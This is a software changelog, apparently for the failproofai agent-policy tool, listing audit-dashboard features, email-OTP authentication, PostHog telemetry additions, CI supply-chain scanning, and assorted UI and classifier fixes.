- Close two telemetry gaps surfaced during the audit/auth review. (1) `src/auth/cli.ts` now emits `audit_user_identity_linked` on a successful OTP verify with `source: "cli"`, carrying `user_id`, `user_email`, and `local_random_id` (= `getInstanceId()`). The dashboard's `/api/auth/login-verify` already emits the same event with `source: "audit_set_reminder_auth_dialog"`; this is the CLI sibling — without it, anyone who signed in via `failproofai auth login` stayed unjoined to their pre-auth instance events in PostHog. (2) `bin/failproofai.mjs` `policy add|remove` was emitting `cli_policy_add_success` / `cli_policy_remove_success` on the happy path but the failure path fell through to the generic `cli_parse_error` / `cli_unexpected_error` events, blocking conversion-rate analysis. The dispatch now stashes the action in `lastPolicyAction` and the top-level catch emits `cli_policy_${action}_failure` (CliError or unexpected internal error) with `error_type` + `exit_code`, mirroring the existing `cli_install_failure` / `cli_uninstall_failure` pattern.
+
- Instrument the auth + reminder surface with PostHog telemetry and wire the dashboard reminder set/clear flow to the api-server scheduler. Dashboard routes `app/api/auth/{login-request,login-verify,logout,reminder}/route.ts` now emit `audit_otp_requested`, `audit_otp_verified`, `audit_user_logged_out`, `audit_reminder_set`, and `audit_reminder_cleared` events (status + error_code on failure, SHA-256 email hash on the OTP-request path so we can count distinct senders without storing PII); `src/auth/cli.ts` mirrors the same OTP/login/logout events plus CLI-only `audit_cli_auth_{login_started,login_completed,logout_completed,whoami}` with attempt counters and `had_session`/`upstream` outcomes. Two new client helpers `scheduleReminder` / `cancelReminder` in `lib/auth/api-server-client.ts` POST/DELETE `/v0/reminders` so the dashboard POST/DELETE `/api/auth/reminder` now forwards to the api-server scheduler (which delivers the audit nudge via SES) while keeping the local `~/.failproofai/next-audit.json` file as the dashboard/CLI source-of-truth; upstream failure is captured into the telemetry event as `upstream: "failed"` + `upstream_error` but does not fail the request. Also restores literal `\x1b[` escape sequences in the CLI color constants that had been collapsed to raw control bytes in the prior commit.
+
- Add email-OTP auth wired to the Rust `failproof-api-server` (`/v0/auth/login/request`, `/login/verify`, `/token/refresh`, `/logout`, `/me`). New `failproofai auth --login | --logout | --whoami` CLI subcommand (`src/auth/cli.ts`, dispatched from `bin/failproofai.mjs`) persists tokens to `~/.failproofai/auth.json` at mode `0600` via a shared store (`lib/auth/auth-store.ts` + `lib/auth/api-server-client.ts`); the store auto-refreshes the access token within a 60s leeway window and treats refresh-token reuse / 401 as "wipe local session". Four Next.js API routes (`app/api/auth/{status,login-request,login-verify,logout}/route.ts`) proxy the same flow for the dashboard so the refresh token never reaches the browser — only `{authenticated, user}` does. The "set a reminder" CTA in `/audit`'s `return-section.tsx` now probes `/api/auth/status` on mount and, for un-authed visitors, opens a new `AuthDialog` (`app/audit/_components/auth-dialog.tsx`, styled to match the audit aesthetic: pink corner-glyphs, dashed-frame backdrop, terminal mono inputs, masked OTP entry, live resend countdown, ESC-to-close) that walks email → OTP → "you are " inline; signed-in users get a green "signed in as …" pill under the CTA. Configurable via `FAILPROOF_API_URL` (defaults to `http://localhost:8080`) and `FAILPROOFAI_AUTH_DIR` (defaults to `~/.failproofai`).
+
- `/audit` polish pass: simplify the "next audit" CTA to `[ install policies ]` copying the bare `failproofai policies --install` command (no longer appends per-slipping-policy short names); fix the `[ share → ]` header button to scroll to the Show-off section reliably by accounting for the sticky in-page `.app-header` height with a manual y-coord scroll + a `scroll-margin-top` fallback on `.showoff`; harden the "make poster" PNG export so the captured archetype frame no longer collides with the sigil / tagline — `show-off-cta.tsx` now `await document.fonts.ready` before capture, applies a `.capturing` class that locks every viewport-clamped font-size and grid column to an absolute value tuned for the 1100px capture width, drops `text-shadow` / `box-shadow` that html2canvas crops unpredictably, and captures with a 12px bleed on each side so the frame's corner accents and box-shadow survive the crop; and expand every archetype in `src/audit/archetypes.ts` from a single hand-written copy block to a multi-variant catalog (4–6 taglines, keyword sets, descriptions, signature blocks, "common in" / "primary risk" / closing lines per archetype, all 8 archetypes covered). A new `pickArchetypeVariant(key, seed)` picker deterministically selects one variant from each list via a djb2-seeded per-field hash mixed with a per-field axis, so the persona blurb stays stable across renders for a given seed but two different projects landing on the same archetype see different copy. `IdentitySection` consumes the resolved variant; the seed flows in from `audit-dashboard.tsx` as the inferred project name.
+
- Add an in-app `/audit` dashboard that turns the existing `failproofai audit` data into a personality-driven report. The page classifies every audited agent into one of 8 archetypes (`optimist`, `cowboy`, `explorer`, `goldfish`, `paranoid architect`, `precision builder`, `hammer`, `ghost`) via a weighted classifier (`src/audit/archetypes.ts`) that maps every builtin policy + every audit-only detector (47/47 coverage) to an archetype with a tuned weight. A scoring module (`src/audit/scoring.ts`) derives a 0-100 score with S/A/B/C/D/F grade thresholds, a projected-score uplift if every recommended policy were enabled, and a stable synthetic cohort rank. The page composes six sections — Identity (archetype hero with 8x8 pixel sigil + meta grid), Show-off CTA, Strengths (real numbers derived from the audit), Score + cohort leaderboard with distribution histogram, Findings (per-policy cards with what happened / cost / evidence / fix), Prescribed Policies (with projected-score callout), and a "re-audit in 7 days" return loop. Every audit-only detector is now mapped to its closest real-time builtin policy as the prescribed fix (`findings.ts:DETECTOR_TO_POLICY`) so the report never carries an "audit-only — no real-time policy" framing. New dashboard cache at `~/.failproofai/audit-dashboard.json` (mode `0600`, single slot, helper at `src/audit/dashboard-cache.ts`); `AuditResult` schema bumped to version 2 with new fields `eventsScanned`, `projectsScanned`, `enabledBuiltinNames`. New routes `app/audit/page.tsx`, `app/api/audit/run/route.ts` (POST, in-process `runAudit()` call, module-scoped run lock that 409s on concurrent clicks), `app/api/audit/status/route.ts` (GET, drives client polling), and server action `app/actions/get-audit-result.ts` (cache read, mirrors `getHooksConfigAction`'s read-only contract). "Make poster" downloads a 2x PNG of the archetype frame via html2canvas. Navbar gains an Audit entry between Policies and Projects with a slipping-through count chip. Existing runtime policy enforcement is untouched — `policy-registry.ts` gets two additive exports (`getAllPolicies` / `setAllPolicies`) used only by the new `replay.ts:restoreReplay()` snapshot/restore so embedding `runAudit()` in a long-running process no longer wipes pre-existing registrations. Ports the brand team's design kit verbatim from `assets/audit/styles.css` (1235 lines, JetBrains Mono + VT323 via Google Fonts, Architype Stedelijk shipped locally under `public/audit/fonts/`).
+
- Polish pass across `/audit`, `/policies`, and `/projects`: bump base font from `13px → 14.5px` and widen `.report` from `1180px → 1380px` (with `40px` side padding) in `globals.css` so default-zoom readability stops requiring a browser zoom-in; restore `.section` vertical padding to `64px` to match the audit reference. Remove the second in-page audit `` (`app/audit/_components/app-header.tsx` deleted) and all three of its mount sites in `audit-dashboard.tsx` — the global navbar plus per-section masts cover the same chrome without the duplicate `failproof_ai / AUDIT [share →]` strip. Rewrite `score-section.tsx` end-to-end: drop the synthetic cohort leaderboard and replace with a single dashed-frame `.panel` (the new `.score-share-card`) split into two columns — left is the audit score (big tier-colored number, tier badge, progress bar to the next grade band, three stat boxes for missing policies / pts-to-next / est. days-to-fix, plus a top-N policy-status chip strip), right is share (pre-written X / Twitter and LinkedIn templates derived from `score + archetype + missing-count`, `[share on X]`, `[share on LinkedIn]`, and `[download audit card]` that html2canvas-captures the whole panel as a PNG named `failproofai-card--.png`). `audit-dashboard.tsx` drops the now-unused `syntheticRank` import / `rank` prop and threads `result` into the score section. Replace `empty-state.tsx` and `run-progress.tsx` with audit-pixel-craft versions: a `.empty-panel` with a pixel-grid sigil, Architype Stedelijk headline, and `.btn-press` CTA replaces the shadcn `Button` + `lucide-react` icon center-card; the running view becomes a terminal-style `.running-panel` (`$ failproofai audit --since 30d ▮` header with a blinking pink cursor, stage list with `✓` / `▮▮` / `○` markers and a per-stage braille spinner, and a marquee `audit-bar-fill` progress bar). Persistent **next-audit reminder** added — new `~/.failproofai/next-audit.json` (mode 0600, separate file from `auth.json` so the reminder is independent of token refresh), new `lib/auth/auth-store.ts` helpers (`readReminder` / `writeReminder` / `deleteReminder` / `getReminderFilePath` + `StoredReminder` type), new `app/api/auth/reminder/route.ts` (GET / POST / DELETE, defaults to a 7-day offset, scoped to the active session so a reminder for `a@x.com` is invisible to a CLI-authed `b@x.com`), and `/api/auth/status` now returns `reminder: { next_audit_at, user_email, set_at } | null` alongside the user. `return-section.tsx` flips behavior accordingly: signed in + reminder set → status panel ("next audit set for ` · in 7 days`" + "signed in as ``" + a `[re-audit now]` button next to `[install policies]` and a tiny "clear reminder" link); anon → `[set a reminder]` opens the existing AuthDialog and on successful sign-in writes the reminder automatically; signed in + no reminder → `[set a reminder]` writes it directly with no dialog. The `[re-audit now]` button (also shown to anon users with audit data) reuses the existing `triggerRun` poller and reloads the page once the run completes. No new dependencies; the deleted `app-header.tsx` was a 38-line component with no callers other than the three audit-dashboard mounts.
+
- Unify the dashboard design system around the brutalist pixel-craft aesthetic that previously lived only in `/audit`. The audit token set (`--bg`, `--ink`, `--accent-pink`, `--accent-green`, `--font-mono` → JetBrains Mono, `--font-display` → Architype Stedelijk / VT323) is now declared once in `app/globals.css`, and every shadcn-style Tailwind alias (`--background`, `--card`, `--foreground`, `--primary`, `--border`, `--radius: 0`, …) is repointed at the audit palette so existing utility classes like `bg-card` / `text-foreground` / `border-border` produce audit visuals across the whole app without rewriting any component markup. The `:root` block, body cross-hatch + grain overlays, JetBrains Mono import, and all canonical chrome classes (`.app-header`, `.h-brand*`, `.btn`, `.btn-press`, `.tabs`, `.tab`, `.section`, `.section-mast`, `.section-h`, `.report`, plus a new reusable `.panel` with pink corner brackets) are promoted to `globals.css`. `app/audit/audit-styles.css` keeps only the audit-page-only widgets (archetype frame, sigil, score grade, leaderboard, findings cards, return hook, auth dialog), so the styles loaded specifically by `/audit` no longer leak into `/policies` or `/projects` on client-side navigation. `app/layout.tsx` drops the `next/font/google` Geist Mono import — fonts now ship via the single CSS `@import url('…JetBrains+Mono…')` in `globals.css`. `components/navbar.tsx` is rewritten around `.app-header` with the pink `▮▮` mark, lowercase Architype wordmark, optional version chip, a current-section eyebrow, and `.tab` links with sharp pink underline on the active route (lucide icons in the bar removed). `app/projects/page.tsx` and its `loading.tsx` are wrapped in the `.report` + `.section` + `.panel` chrome with a green-eyebrow masthead and "your agent footprint." section heading; the inner `ProjectList` component is unchanged and picks up the unified palette automatically. `app/policies/hooks-client.tsx` swaps its outer `` for a `.report` + `.section` shell with audit masthead copy ("what your agents tried." / "what to stop them doing."), replaces the rounded-pill `TabBar` with the global `.tabs` / `.tab` underline tabs, and drops the now-redundant "Back to /projects" link (the new navbar covers cross-page navigation). No functional changes — all 1701 tests pass and the production `next build` succeeds.
+
- Add a `bump-platform-submodule.yml` workflow that pushes a matching `failproofai/oss` gitlink bump to `FailproofAI/platform` `main` on every merge into this repo's `main`, so the monorepo's pinned submodule commit tracks upstream automatically. Uses a `PLATFORM_BUMP_TOKEN` repo secret (fine-grained PAT, contents: read & write on `FailproofAI/platform`) for cross-repo auth, a concurrency group to serialize back-to-back merges, and a rebase-and-retry loop to stay race-safe against humans pushing to platform `main` between checkout and push (#394).
+
- Add a supply-chain security CI gate: OSV-Scanner (`.github/workflows/osv-scanner.yml`) scans the resolved `bun.lock` tree against OSV.dev (GitHub/npm advisories + the OpenSSF malicious-packages feed) on every PR (incl. Dependabot bumps), on pushes to `main`, and weekly, and **blocks on any known-vulnerable or malicious dependency**. Adds a Socket GitHub App behavioral early-warning layer, an `osv-scanner.toml` allow-list for unfixable advisories, a README supply-chain status badge, and a `SECURITY.md` policy/runbook. Remediates the 18 pre-existing transitive advisories surfaced by the new gate (brace-expansion, flatted, minimatch, picomatch, postcss, vite, ws) by refreshing `bun.lock` within range, with `overrides` pinning `postcss` to the patched 8.5.x line (Next.js pins the vulnerable 8.4.31) and holding `eslint-plugin-react-hooks` at main's 7.0.1 so the refresh doesn't also bump the linter (#391).
+
- Stamp `product: "failproofai-oss"` on every PostHog event across all four telemetry channels — hooks/audit (`trackHookEvent`), server (`trackEvent`), web UI (`captureClientEvent`), and npm-lifecycle install/uninstall (`trackInstallEvent`) — so OSS events stay distinguishable from any future hosted surface. The value lives in a single `POSTHOG_PRODUCT` constant in `src/posthog-key.ts`, reused by the three TypeScript channels; the standalone `scripts/install-telemetry.mjs` inlines the same literal because it can't import the TS module at install time. Honors `FAILPROOFAI_TELEMETRY_DISABLED=1` like all other telemetry (#380).
+
- Expand PostHog telemetry coverage to close the 16 server-side and 12 web-UI gaps surfaced by the May audit (#376). Server-side adds `cli_install_success` / `cli_install_failure` / `cli_uninstall_success` / `cli_uninstall_failure` / `cli_list_invoked` / `cli_parse_error` / `cli_unexpected_error` / `hook_dispatch_error` (CLI lifecycle outcomes in `bin/failproofai.mjs`), `hook_stdin_error` / `hook_payload_parse_error` (hook handler input errors in `src/hooks/handler.ts`), `policy_evaluation_error` (builtin policy crashes in `src/hooks/policy-evaluator.ts`, distinct from the existing `custom_hook_error`), `custom_policy_validation_failed` / `custom_hooks_load_error` / `policy_params_validation_warning` / `scope_validation_failed` / `hook_write_failed` / `multi_scope_warning_shown` / `cli_detection_summary` / `beta_policies_installed` (manager / loader / install-prompt internals), and `first_install` / `version_changed` (lifecycle detection in `scripts/postinstall.mjs` via a new `~/.failproofai/last-version` file). Web-UI adds `policies_tab_switched` / `activity_filter_changed` (debounced) / `activity_row_toggled` / `activity_copy_clicked` / `activity_pagination_changed` / `cli_selection_toggled` / `cli_install_remove_submitted` / `cli_reinstall_submitted` / `policy_config_modal_opened` / `policy_config_modal_closed` / `action_error_displayed` / `hooks_install_from_error_clicked` via `usePostHog()` in `app/policies/hooks-client.tsx`. The deny-/instruct-only condition at `handler.ts:344` (allow-path tracking) is intentionally left unchanged. All events go through the existing helpers (`trackHookEvent`, `trackInstallEvent`, `captureClientEvent`) and honor `FAILPROOFAI_TELEMETRY_DISABLED=1`.
+
- Add a first-run install prompt on bare `failproofai` invocations. PostHog showed only ~10% of npm-installed users ever ran `failproofai policies --install`; the no-args dashboard launch now detects "zero hooks installed across any detected CLI" and offers to run the existing interactive policy-selection inline (covering all of Claude Code, Codex, Copilot, Cursor, OpenCode, Pi, Gemini). Non-TTY contexts (CI, piped invocations) print a short stderr hint and fall through to the dashboard. New `src/hooks/first-run-nudge.ts` module, a guard in `bin/failproofai.mjs` before `launch("start")`, plus four new PostHog events (`first_run_nudge_shown`, `_accepted`, `_declined`, `_skipped_noninteractive`) so the uplift is measurable. Postinstall message extended with a "Next steps" block when the brand-new-user case is detected (`!configured && !registered`). Opt-out via `FAILPROOFAI_NO_FIRST_RUN=1`.
+
- Add `failproofai audit` command (beta) — retrospectively scan past agent transcripts across all 7 CLIs and report wasteful/risky behavior via the 39 builtin policies + 8 new audit-only detectors (`redundant-cd-cwd`, `prefer-edit-over-read-cat`, `prefer-edit-over-sed-awk`, `prefer-write-over-heredoc`, `sleep-polling-loop`, `find-from-root`, `git-commit-no-verify`, `reread-after-edit`). Outputs ANSI table + markdown report; supports `--cli`, `--project`, `--since`, `--policy`, `--limit`, `--show-examples`, `--report`, `--no-report`, `--json`, `--no-cache`. Per-transcript cache at `~/.failproofai/cache/audit/` auto-invalidates on policy/detector code changes (#377).
### Fixes
- Deliver the `failproofai audit` CLI's telemetry reliably. `cli_audit_started` / `cli_audit_completed` / `cli_audit_failed` were emitted fire-and-forget (`void trackHookEvent(...)`), so the failed path (`die()` → `process.exit(1)`) and the empty-history path (`process.exit(0)`) killed the in-flight `fetch` before it landed — those events never reached PostHog. `src/audit/cli.ts` now `await`s the two exit-adjacent events before exiting (matching `bin/failproofai.mjs`'s `track()` helper); `cli_audit_started` stays fire-and-forget since the multi-second scan keeps the process alive. New `__tests__/audit/audit-cli-telemetry.test.ts` asserts each path emits its event and that the exit-adjacent events are awaited before `process.exit` (#461).
+
- Apply the same telemetry-delivery fix to the `failproofai auth` CLI (`src/auth/cli.ts`), which had the identical bug: `audit_cli_auth_login_completed` / `audit_otp_verified` / `audit_user_identity_linked` / `audit_cli_auth_logout_completed` / `audit_cli_auth_whoami` were emitted fire-and-forget and dropped when the process exited after the command. The terminal and error events are now awaited; the two mid-flow events (`audit_cli_auth_login_started`, the success `audit_otp_requested`) stay fire-and-forget since the interactive `email:` / `code:` prompts keep the process alive. New `__tests__/auth/auth-cli-telemetry.test.ts` (#461).
+
- Instrument the dashboard's server-side audit run. `POST /api/audit/run` ran `runAudit()` as a detached task and emitted **no** PostHog events — the dashboard's actual audit work and its failures were invisible, with only the client-side `audit_rerun_clicked` / `audit_rerun_failed` recorded. The route now emits `audit_run_started` / `audit_run_completed` (duration, events + sessions scanned, findings, hits, persisted) / `audit_run_failed` / `audit_run_rejected`, mirroring the CLI's `cli_audit_*` funnel; and the dashboard now emits the previously-missing `audit_rerun_succeeded` (it tracked clicks and failures but never successes) (#461).
+
- Close the remaining telemetry gaps the audit surfaced: track the postinstall build-missing failure (`package_install_failed`, awaited before `process.exit(1)` — previously invisible); add `keepalive: true` to `captureClientEvent` so events fired right before a navigation/unload aren't dropped; track `/api/auth/login-verify` validation-400s and add `email` + `source` to its failure events for parity with `/api/auth/login-request`; and fill property gaps (`node_version` on `package_installed`, drop the duplicate `version` on `first_install`, add `subcommand` + `exit_code` to `cli_auth_invoked`). The hook hot-path error events are intentionally left fire-and-forget to avoid adding telemetry latency to every tool call (#461).
+
- Fix the policies → activity table collapsing on narrow / portrait windows. Columns no longer overlap — each data cell clips with an ellipsis at its own edge and headers stay on one line — and the table holds a readable `min-width` (1280px), scrolling horizontally below that via a themed scrollbar instead of squeezing columns into each other. The badge / long-header columns (decision, event, cli, mode, duration, session) were widened so their content fits — the **mode** column in particular now holds its widest pill (`bypassPermissions`) instead of clipping it mid-word, and the mode pill truncates with an ellipsis + hover tooltip if a longer / custom mode ever appears.
+
- Fix three translated docs pages that failed the Mintlify deploy parse. `docs/tr/cli/audit.mdx` had a dropped closing backtick that pushed `
` out of its inline-code span (parsed as an unclosed JSX tag); `docs/ja/built-in-policies.mdx` and `docs/zh/built-in-policies.mdx` carried translator-injected `{#id}` heading anchors that MDX reads as JS expressions. All three now match the other 12 locales (#455).
+
- Stop the failproofai server log from repeating the benign Next.js "Failed to find Server Action" deployment-skew error. A browser tab left open across a dashboard rebuild/upgrade POSTs a stale Server Action ID; the client recovers via Next's graceful 404, but the standalone server still logged a 3-line error block to stderr per stale request. The `start` launcher now pipes the server's output through a filter (`scripts/skew-log-filter.ts`) that drops just that block — all other output, and color via `FORCE_COLOR`, passes through untouched; `dev` is unchanged (#456).
+
- Show login-required copy ("Oops! Login required" / "What's your email?") on the invite-a-friend CTA's shared `AuthDialog` so it reads distinctly from the reminder CTA — content only, the auth flow is unchanged (#453).
+
- LinkedIn share now opens the feed composer with the post text pre-filled (`feed/?shareActive=true&text=`) instead of the deprecated `share-offsite` `summary` param that LinkedIn ignores (#453).
+
- Fix the failing **Supply Chain** (OSV-Scanner) CI gate, which was red on every open PR. The dependency tree resolved `vite@8.0.14`, which carries two advisories with no in-tree patch — GHSA-fx2h-pf6j-xcff (CVSS 8.2, high) and GHSA-v6wh-96g9-6wx3 (CVSS 5.5, medium), both fixed in 8.0.16. A plain `bun update vite` only bumped the top-level copy (used by `@vitejs/plugin-react`) and left a nested `vitest`-owned `vite@8.0.14` behind, so the fix pins `vite` to `8.0.16` via `package.json` `overrides` (the mechanism `osv-scanner.toml` recommends) to dedupe the whole tree. The same scan also flagged `undici@7.27.2` — 7 advisories disclosed since the per-PR CI runs, pulled in transitively by the `jsdom` test environment — pinned to `7.28.0` via `overrides`. OSV-Scanner now reports "No issues found" (#446).
+
- Swap the `/audit` poster PNG export from `html2canvas` to `html-to-image`. html2canvas reimplements CSS in JavaScript and was producing broken dashed borders on the poster's outer rule (Canvas's `setLineDash` doesn't connect cleanly at corners) and a stray pink square cutting through the wordmark's "l" (the `/logo.svg` uses an SVG `` for the "i" character, which html2canvas ignored). `html-to-image` serializes the live DOM into an SVG `` and rasterizes it through the browser's native rendering engine, so dashed borders, SVG masks, gradients, and font metrics render exactly as they do on screen. Implementation in `app/audit/_components/audit-poster.tsx#captureCardBlob` (#435).
+
- Lock the html-to-image capture's `width`/`height` (and the matching inline `style` override) to the live poster element's `offsetWidth`/`offsetHeight`. html-to-image clones the node without its parent's flex context (the `.poster-section`'s `flex: 1` stretching), so the clone would collapse to intrinsic content width while the canvas inherited the original `offsetWidth` — content rendered anchored to the left of empty space (#435).
+
- Capture the poster from an off-screen clone instead of the live element. Even with explicit `width`/`height`, the live `.poster` carried its parent's flex context + `margin: 0 auto`, which html-to-image preserved during capture — the content ended up centered inside an oversized canvas, with the poster's left dashed border visible at canvas edge and the right meta clipped. The fix clones the node into a fresh `position: fixed; left: -10000px` wrapper with a fixed width matching `getBoundingClientRect().width`, captures the clone, then removes the wrapper. The clone has no flex parent and no margin auto, so the canvas dimensions match the poster exactly (#435).
+
- Drop the `━━` glyph prefix and the amber slipping-count badge (`182` etc.) from every navbar tab. The badge surfaced a number that was already prominent on the audit page itself and the prefix was decorative chrome left over from the brutalist redesign. `Navbar` no longer accepts `auditSlippingCount`; `app/layout.tsx` no longer reads the dashboard cache to derive the count (#435).
+
- Correct the CLI binary name in `how-to-improve-section.tsx`'s install commands. The per-policy install row and the `[install all]` bulk command both emitted `failproof policy add ` — the shipped binary is `failproofai`, so a copied command would fail with `command not found`. Updates the three call sites (header docstring, `bulkInstall()`, and the per-row install string), plus the matching example in `docs/dashboard.mdx#Audit` (#435).
+
- Calm the `/project/[name]` single-project page chrome. The header dropped the brutalist `━━ back to projects` link, the `● N sessions` green-dot count, the `section-h` display-font title, and the green-eyebrow `path` / `modified` definition list — replaced with a flat back chip, a mono `h1`, and a single inline meta line (`path … · modified … · sessions N`). `SessionsList` was rebuilt with the same calm chrome as the audit page: sharp 1px borders (no rounded corners), dim small-caps labels (`filter by` / `range` / `session id`), pink-outlined active chip, and JetBrains Mono throughout. The file icon goes from `text-primary` colored to dim. Empty state copy switches to the comment voice (`// no sessions found`). New CSS in `app/globals.css` under the `/project/[name]` and sessions-list blocks; tests updated to match the new copy / casing (#435).
+
- Address CodeRabbit review on the invite flow: `InviteDialog` now accepts an `onUnauthorized` callback and routes 401 responses back through `AuthDialog` (caller in `come-back-better-section.tsx` re-opens the auth flow) instead of dead-ending in a generic inline error. `/api/audit/invite` no longer forwards raw upstream exception text to either telemetry or the client response — surfaces a stable generic message and logs only the bounded `err.name` so internal hostnames / IPs / payload fragments stay server-side (#435).
+
- Address CodeRabbit review on the audit-poster + come-back-better paths. `audit-poster.tsx#handleShare`'s fallback telemetry no longer reports `status: "success"` when `fallbackMethod === "failed"` — share/capture analytics now correctly distinguish error vs. success. `come-back-better-section.tsx#refreshStatus` preserves the prior auth state on transient `/api/auth/status` failures (5xx, network blips) instead of downgrading to `anon` and clearing a valid reminder — it only falls through to `anon` on the very first probe (still `unknown`) so the cadence buttons unlock when the server is unreachable. Adds `:focus-visible` outlines to the new interactive controls (`.poster-share-btn`, `.cadence-btn`, `.invite-btn`, `.install-all-btn`, `.copy-icon-btn`, `.fix-install-btn`) so keyboard navigation has a perceptible focus indicator (#435).
+
- Fix the `/audit` first-run audit failing on the first click (a retry worked) and stop capping how much it scans. The run was driven by a synchronous `/api/audit/run` POST that `triggerRun` (`app/audit/_components/rerun-button.tsx`) aborted after the 15s `DEFAULT_FETCH_TIMEOUT_MS` (`lib/fetch-with-timeout.ts`, sized for fast upstream calls), so a cold run (measured ~17s locally) timed out and dropped back to the empty state while the server kept running and warmed the caches — making the second click succeed. The run is now fire-and-forget: the POST starts `runAudit()` as a detached task in the long-lived server process and returns `202` immediately, the client polls `/api/audit/status` with **no duration cap** until it finishes (only a ~10-poll lost-connection backstop stops it), and a server-side run error is surfaced through the status endpoint (`app/api/audit/_state.ts` gains an `error` field + `finishRun(error)`, and its 5-min lock auto-expiry — which would have prematurely "finished" a long run — is removed along with the route's `maxDuration = 120`). The default scan window also drops from 30 days to the user's entire history, so an audit runs over every session regardless of how long it takes; the empty-state CTA and `run-progress` copy update from "10–30s" to "may take a while". New tests cover the fire-and-forget route, unbounded polling, and the run-state machine (`__tests__/api/audit-run-route.test.ts`, `__tests__/audit/rerun-button.test.ts`, `__tests__/api/audit-state.test.ts`) (#434).
+
- Remove the top-of-page `[ re-audit ]` bar from `/audit` (added in #428). On the empty/expired path it stacked a second "run an audit" CTA directly above the existing first-run panel — the duplication read as broken — and on loaded reports the `audited 3d ago` / `expires in 14h` strip earned little, so the whole `TopAuditBar` component (`app/audit/_components/top-audit-bar.tsx`), its `.top-audit-bar*` CSS, and its test (`__tests__/audit/top-audit-bar.test.tsx`) are deleted. Re-auditing still works from `[ run audit ]` on the empty state and `[ re-audit now ]` at the bottom of a report; the sticky `AuditProgressStrip`, soft-refresh-on-success, and the 7-day cache TTL are untouched, and the per-report generation timestamp still renders in the footer. Past the TTL, `/audit` now falls through to the standard empty state instead of a dedicated `audit expired` banner. `RerunSource` drops its now-dead `"top_bar"` variant; `docs/dashboard.mdx` and `docs/cli/audit.mdx` updated to match (#431).
+
- Make `/audit` re-audit force a genuinely fresh scan instead of silently returning the cached result. The `[ re-audit now ]` button — and the shared `startRerun` handler behind it — now sends `noCache: true` through `triggerRun` → `paramsToBody` → the `/api/audit/run` route (which already honored `noCache`), so re-audit bypasses the per-transcript cache (`src/audit/cache.ts`) and re-scans every transcript from scratch rather than returning the identical cached result when nothing changed on disk. The fresh result overwrites the dashboard cache on success; a failed re-audit leaves the prior cache (and report) intact. The empty-state first-run CTA deliberately stays on the fast cached path — it's a first scan, not a re-audit. `ScanParams` / `paramsToBody` gain an optional `noCache`; `paramsToBody` is exported and covered by a new `__tests__/audit/rerun-button.test.ts` (#432).
+
- Fix the `/audit` archetype classifier collapsing nearly every agent onto **the goldfish**. PR #426's GOLDFISH_ENTROPY 0.75 → 0.70 retune and the move to an empirical-firing-share `BASELINE_SHARE` were both correct, but they exposed a latent flaw in the goldfish gate: normalised entropy of the LIFT vector cannot distinguish "every cluster fires at typical ambient rate" (all lifts ≈ 1.0 → entropy pegs at the max) from "real scatter" (multiple clusters genuinely over-indexing → also high entropy). A 765-transcript / 42k-event local audit measured every active-fault cluster sitting at 0.96–1.04 of baseline — no concentration anywhere — yet the classifier returned goldfish because entropy 0.91 cleared the 0.70 gate. Fix: add `GOLDFISH_MIN_SECOND_LIFT = 1.3` and require the second-highest cluster lift to clear it, so goldfish only fires when at least TWO clusters are genuinely above baseline (the actual definition of scatter); uniform-at-baseline profiles fall through to the existing argmax. New `secondLift` feature on `AuditFeatures`. New regression block in `__tests__/audit/distribution.test.ts` reproduces the uniform-at-baseline lift shape and asserts it never auto-classifies goldfish; the now-out-of-date "must not be explorer" assertion on the representative-ambient agent is rewritten to verify the lift-normalisation mechanism (explorer's raw dominance → lift < 2) instead of forbidding a specific outcome; the ambient-cohort explorer-share bound is relaxed from 20% → 50% to reflect the post-fix distribution (#429).
+
- Stop the Next.js 16 dev-overlay "signal is aborted without reason" console warning at `lib/fetch-with-timeout.ts:25`. The previous implementation called `controller.abort()` with no argument — when the 15s timer fired (or, in dev hot-reload, when a stale closure's polling iteration ran after the page navigated away) the resulting `AbortSignal` carried the default bare-DOMException reason that Next.js 16's React-dev-overlay surfaces as the warning. While there, fixes a latent bug in the same function: `{ ...init, signal: controller.signal }` was silently dropping any caller-supplied `init.signal` (because the spread placed it before the overwrite), so component-unmount cancellations could not stop in-flight fetches. New implementation replaces the manual `AbortController + setTimeout` pair with the platform `AbortSignal.timeout()` — which aborts with a typed `DOMException(..., "TimeoutError")` — composed with the caller signal via `AbortSignal.any()` (Node 17.3+/20.3+ respectively, both covered by Next.js 16's Node >= 20.9 floor; Chrome 116+, Firefox 124+, Safari 17.4+). `isAbortError` is hardened to duck-type on `name` so it correctly classifies cross-realm errors and jsdom's polyfilled DOMException (which is not `instanceof Error`) — production callers (`requestLoginCode`, `triggerRun`, `auth-dialog.tsx`) keep their existing timeout-vs-network discrimination. `readCachedTranscriptResult` now uses `Number.isFinite(entry.cachedAt)` (not `typeof === "number"`) so a malformed JSON `Infinity`/`NaN` can't pin a stale entry as valid forever; `readDashboardCacheMeta` gates on schema version + parseable timestamp before surfacing the entry as "expired" so a schema-incompatible cache falls through to the first-run empty copy rather than triggering the wrong banner. New `__tests__/lib/fetch-with-timeout.test.ts` covers happy path, composed-signal forwarding, TimeoutError firing, external-signal cancellation, already-aborted short-circuit, and duck-typed name matching (#428).
+
- Fix the `/audit` archetype classifier collapsing nearly every agent onto **the explorer**. The lift denominator (`BASELINE_SHARE` in `src/audit/features.ts`) was derived from `SIGNAL_MAP` *catalog weights* — each persona's share of the catalog — on the theory that lift would cancel cowboy's surface-area advantage. But catalog share ≠ real firing rate: the ambient policies feeding `explorer` (env access + secrets-in-tool-output) and `architect` (`reread-after-edit` / `redundant-cd-cwd`) fire on benign, volume-scaled activity in essentially every session, far above their catalog share, so explorer's lift stayed > 1 for almost everyone and won the active-fault argmax. A real-corpus audit (674 transcripts / 41k events) measured explorer at ~60% of all mapped signal against a 22% catalog baseline. Fix: (1) drop `block-read-outside-cwd` from `SIGNAL_MAP` — it is `defaultEnabled: false` and fires on ubiquitous ambient reads, ~37% of all mapped signal on its own; (2) replace the catalog-weight `BASELINE_SHARE` with an **empirical firing-share** baseline (floored at `MIN_BASELINE` so a rare cluster can't explode to a huge lift off one hit), so a persona now wins only when it fires *more than typical*; (3) retune `GOLDFISH_ENTROPY` 0.75 → 0.70 for the reshaped lift vector. The synthetic population now spreads all 8 personas across ~8–20% (explorer down from a forced ~100% to ~13%). New regression block in `__tests__/audit/distribution.test.ts` reproduces the real ambient profile (explorer as the largest *raw* cluster) and asserts it is never auto-classified explorer and that an ambient cohort never collapses onto one persona; the two `__tests__/audit/archetypes.test.ts` lift examples are rewritten for the empirical baseline (#426).
+
